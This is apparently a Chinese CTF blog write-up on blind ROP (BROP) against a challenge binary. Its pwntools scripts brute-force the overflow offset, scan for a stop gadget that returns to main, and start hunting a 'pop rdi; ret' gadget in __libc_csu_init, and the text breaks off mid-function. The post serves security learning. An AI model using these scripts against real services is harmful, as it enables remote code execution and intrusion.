BROP(黑盒pwn)

BROP(黑盒pwn)

这题很有意思,通过黑盒的方法来进行溢出攻击,同时这里也用到了__libc_csu_init函数利用的新姿势
题目是:brop
参考链接:https://wiki.x10sec.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#_8

做这道题,不要ida,否则没有意义了

思路

对于黑盒,这道题的目的也很明确,就一个输入就结束了,明显的需要溢出
那么第一步就是通过不断测试字符长度来判断溢出点
这个实现还是很简单的

def overflow(file):
    i = 1
    while 1:
        try:
            p = process(file)
            p.recvline()
            p.sendline(b'a' * i)
            print(1)
            s = p.recvline()
            p.close()
            print(b's:' + s)
            if b'No' not in s:
                return i - 1
            else:
                i += 1
        except EOFError:
            print(2)
            p.close()
            return i - 1

得到的值:72
之后的操作就需要寻找代码中的gadgets了 ,但由于这题本身的是没有源文件的,那么获取gadgets就是问题了,这玩意不好描述,还是看实际例子

比如,首先我们需要得到一个地址,这个地址去覆盖掉栈溢出后的那个返回地址,然后能够返回到main函数重新执行
这个地址不一定是main函数的地址,也可能是在main函数前执行初始化操作的代码部分,总之能够返回到main就行

具体实现过程就是,从0x400000(64位程序代码段基地址)开始,不断去遍历它,直到能够返回到main为止

addr = 0x400000 ~ 0x410000 #我们需要的这个地址大致在这个区间
payload = 'a' * 72 + p64(addr)
# 不断尝试这个payload

那么具体实现就是

def retmain_gadgets(length, file):
    addr = 0x4005c4
    f = open('./stop_gadgets', 'w')
    while addr < 0x401000:
        try:
            payload = b'a' * length
            payload += p64(addr)
            p = process(file)
            print("addr: " + hex(addr))
            p.recvuntil(b'password?\n')
            p.sendline(payload)
            p.recvuntil(b'password?\n')
            p.close()
            print("SUCCESS: " + hex(addr))
            return addr
        except Exception:
            addr += 1
            print("ERROR!")
            p.close()
            

有了这一步,对黑盒寻找gadgets就有了点感觉了,按照传统方式,我们这里不可能知道这个程序有哪些函数,因此无法直接执行system("/bin/sh")
还是需要获取libc基地址来进行
那么下一步就是通过write或者puts来打印出他们的地址
因此就需要知道几样东西

  • 有没有pop rdi;ret,否则没办法传参
  • put函数地址是多少,否则没法打印
  • puts函数的got表地址,否则没法打印puts函数地址

寻找pop rdi;ret

__libc_csu_init这个函数,应该还有印象,我在ret2csu这篇文章利用这个函数来实现整个过程
但这个函数还有另外的用法,就是这里面存在pop rdi; ret
表面上是不存在这个的,那是因为汇编的起始地址问题,看下面这个
在这里插入图片描述
将偏移+9,得到不同的汇编片段,并且是我们需要的

因此程序可能隐含存在pop rdi;ret的片段
可以构造payload = ‘a’ * 72 + p64(addr) + p64(0) + p64(retmain)
如果程序正常返回到main函数,那么我们就成功的得到pop ret结构的片段

那么问题来了,这样无法确定这个pop的对象是不是rdi
我有两个思路

  • 先寻找__libc_csu_init函数中的六个pop的地址,然后加上9个偏移就是了,当然也可以用之前ret2csu的思路来做
  • 或者,更暴力一点,像这样payload = ‘a’ * 72 + p64(addr) + p64(0x400000) + p64(put),这需要对 addr和put两个地址都进行遍历,直到能执行puts函数并输出带有ELF的字符,但这个效率太低太低

所以用第一种官方的方法吧

这个方法有个小问题,有特殊情况需要考虑
只pop一次
在plt 处不会崩
在_start 处不会崩,相当于程序重新执行。

因此需要将这个考虑在内
那么具体实现如下

def brop_gadgets(length, ret2main):
    
    addr = 0x400
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值